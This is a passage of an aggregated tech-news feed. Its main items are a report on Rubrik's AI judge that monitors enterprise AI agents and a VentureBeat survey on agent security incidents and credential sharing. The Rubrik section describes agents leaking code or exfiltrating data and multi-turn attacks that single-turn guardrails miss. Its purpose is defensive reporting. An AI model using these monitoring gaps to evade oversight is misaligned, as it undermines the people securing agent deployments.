<i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[Tesla’s robotaxi promises are clashing with reality]]></title>
<description><![CDATA[In an earnings call yesterday, Tesla CEO Elon Musk did his best to paint a positive portrait of the company's robotaxi program. New cities are being added, more miles are being driven, and more people are experiencing Tesla's unsupervised vehicles. But Musk's typical bullishness seemed to be abse...]]></description>
<link>https://tsecurity.de/de/3689824/it-nachrichten/teslas-robotaxi-promises-are-clashing-with-reality/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689824/it-nachrichten/teslas-robotaxi-promises-are-clashing-with-reality/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In an earnings call yesterday, Tesla CEO Elon Musk did his best to paint a positive portrait of the company's robotaxi program. New cities are being added, more miles are being driven, and more people are experiencing Tesla's unsupervised vehicles. But Musk's typical bullishness seemed to be absent from the call, as the occasional trillionaire […]]]></content:encoded>
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<title><![CDATA[‘Customers prefer AI chatbots to humans’ says British Gas boss as 1,300 call centre staff axed]]></title>
<description><![CDATA[Chris O’Shea defends Centrica’s plans as it reports rise in retail profits despite falling customer numbersThe owner of British Gas has claimed that most households would rather speak with an AI chatbot than deal with the company’s staff as it prepares to cut 1,300 jobs from its call centres.Cent...]]></description>
<link>https://tsecurity.de/de/3689759/ai-nachrichten/customers-prefer-ai-chatbots-to-humans-says-british-gas-boss-as-1300-call-centre-staff-axed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689759/ai-nachrichten/customers-prefer-ai-chatbots-to-humans-says-british-gas-boss-as-1300-call-centre-staff-axed/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Chris O’Shea defends Centrica’s plans as it reports rise in retail profits despite falling customer numbers</p><p>The owner of British Gas has claimed that most households would rather speak with an AI chatbot than deal with the company’s staff as it prepares to cut 1,300 jobs from its call centres.</p><p>Centrica, the supplier’s FTSE 100 owner, plans to cut 800 jobs as the company carries out a “targeted deployment of AI tools”, on top of the 500 cutsit confirmed last month.</p> <a href="https://www.theguardian.com/business/2026/jul/23/customers-prefer-ai-chatbots-says-chris-oshea-british-gas-centrica-boss">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Goodbye SMS or phone calls — Microsoft is making passkeys the default authentication process for businesses]]></title>
<description><![CDATA[Microsoft says SMS and phone call authentication isn't up to the task anymore – and urges businesses to adopt passkeys.]]></description>
<link>https://tsecurity.de/de/3689745/it-nachrichten/goodbye-sms-or-phone-calls-microsoft-is-making-passkeys-the-default-authentication-process-for-businesses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689745/it-nachrichten/goodbye-sms-or-phone-calls-microsoft-is-making-passkeys-the-default-authentication-process-for-businesses/</guid>
<pubDate>Thu, 23 Jul 2026 18:53:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft says SMS and phone call authentication isn't up to the task anymore – and urges businesses to adopt passkeys.]]></content:encoded>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689702/ai-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689702/ai-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:38:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689687/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689687/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3689683/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689683/it-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Thu, 23 Jul 2026 18:35:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



